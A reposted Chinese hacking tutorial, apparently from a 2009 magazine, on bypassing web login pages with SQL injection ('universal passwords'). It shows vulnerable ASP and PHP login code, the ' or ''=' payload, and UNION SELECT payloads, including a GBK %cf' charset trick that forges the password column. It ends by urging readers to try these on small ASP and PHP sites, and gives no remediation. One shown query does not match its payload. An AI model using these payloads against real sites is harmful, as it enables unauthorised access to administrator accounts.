明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

新型萬(wàn)能登陸密碼

[摘要]原創(chuàng)作者:oldjun 文章來(lái)源:http://www.oldjun.com/ 注:本文已經(jīng)發(fā)表在《黑客手冊(cè)》2009年05期本文章無(wú)技術(shù)含量, 只是提供一個(gè)思路, 思路來(lái)源于前不久暴出的那個(gè)e...

原創(chuàng)作者:oldjun

文章來(lái)源:http://www.oldjun.com/

注:本文已經(jīng)發(fā)表在《黑客手冊(cè)》2009年05期

本文章無(wú)技術(shù)含量, 只是提供一個(gè)思路, 思路來(lái)源于前不久暴出的那個(gè)ewebeditor2.16版本的上傳漏洞。 對(duì)于過(guò)濾了單引號(hào)或者做了post防注入的站點(diǎn), 此方法也無(wú)能為力了;但對(duì)于很多對(duì)登陸端沒(méi)做處理的網(wǎng)站, 此方法值得一試, 尤其是你已經(jīng)知道源碼了卻不能執(zhí)行命令(ACCESS數(shù)據(jù)庫(kù))或者對(duì)方能報(bào)錯(cuò)( MYSQL數(shù)據(jù)庫(kù))。

首先我們回顧下老的萬(wàn)能密碼or漏洞的實(shí)現(xiàn)機(jī)制, 先帖一段asp源碼:

---------------------------老的存在or漏洞的asp代碼----------------------------------------

username = request.form("username")

password = request.form("password ")

set rs=server.createobject("adodb.recordset")

sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'"

rs.open sql,conn,1,3

--------------------------------------------------------------------------------------------------------

將表單中的username和password數(shù)據(jù)分別賦值給username和password, 執(zhí)行

select * from admin where UserName='"&username&"' And PassWord='"&password&"' 語(yǔ)句

但如果被賦值的username是 ' or ''=' (password任意填寫(xiě))則SQL語(yǔ)句變成了

select * from admin where UserName='' or ''='' And PassWord='123'

''=''條件成立, 則語(yǔ)句成功找到管理表里首位的帳號(hào)身份驗(yàn)證登陸, 因而成了or漏洞, 除' or ''='以外, 'or'='or' 啊什么的都可以, 于是早年or漏洞形成了萬(wàn)能登陸密碼。

針對(duì)這種or漏洞, 很多asp站點(diǎn)進(jìn)行了改進(jìn), 改進(jìn)后的源碼大致如下:

---------------------------后來(lái)經(jīng)過(guò)改進(jìn)后的asp代碼-----------------------------------------

username = request.form("username")

password = request.form("password ")

set rs=server.createobject("adodb.recordset")

sql = "select [password] from admin where UserName='"&username&"'"

rs.open sql,conn,1,3

If password = rs("password") then

…’登陸成功, 文章來(lái)源:http://www.oldjun.com/

End if

--------------------------------------------------------------------------------------------------------

現(xiàn)在很多asp站點(diǎn)的登陸頁(yè)面都是這么寫(xiě)的, 如果是mssql, 還可以執(zhí)行SQL語(yǔ)句;但如果是ACCESS, 很多人應(yīng)該都會(huì)望而卻步了吧?其實(shí)在沒(méi)有過(guò)濾單引號(hào)的情況下, 我們還是可以用“萬(wàn)能密碼”登陸進(jìn)后臺(tái)的。

下面我們進(jìn)入主題, 討論新型萬(wàn)能登陸密碼, 以php代碼為例, 由于字符集編碼的問(wèn)題, 管理登陸端可以注入, 先看源碼:

-----------存在字符集漏洞或者magic_quotes_gpc為off的php代碼-------------------

$row=$DB->query_first("SELECT * FROM admin WHERE username='$username'");

If($row){

if($password!=$row[password]) {

…..//成功, 文章來(lái)源:http://www.oldjun.com/

}else{

echo "用戶名或密碼錯(cuò)誤!";

}

}else{

echo "用戶名或密碼錯(cuò)誤!";

}

--------------------------------------------------------------------------------------------------------

由于字符集問(wèn)題, 我們可以注入, 但由于回顯都一樣, 所以猜不到數(shù)據(jù)。 根據(jù)錯(cuò)誤提示, 我們發(fā)現(xiàn)管理表一共6列, password在第三列, 于是我們構(gòu)造如下用戶名與密碼:

Username=-1%cf' union select 1,1,1 as password,1,1,1 %23

Password=1

帶入登陸框, sql語(yǔ)句為:

SELECT * FROM admin WHERE username='-1蟎' union select 1,1 as password,1,1,1,1

前面的用戶名肯定不存在, 于是select出來(lái)的password就是1了, 就等于提交的password了, 經(jīng)測(cè)試, 成功繞過(guò)驗(yàn)證。

現(xiàn)在我們?cè)倩仡^看看之前改進(jìn)過(guò)的asp登陸代碼, 我們?cè)撊绾卫@過(guò)呢, 原理同上:

Username=-1' union select 1 as [password] from admin where '1'='1

Password=1

呵呵, 輕松繞過(guò)認(rèn)證, 到此為止大家知道該如何利用了吧, 對(duì)于現(xiàn)在絕大多數(shù)的小asp站以及一定規(guī)模的php站點(diǎn), 大家不防試試這個(gè)萬(wàn)能密碼~


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。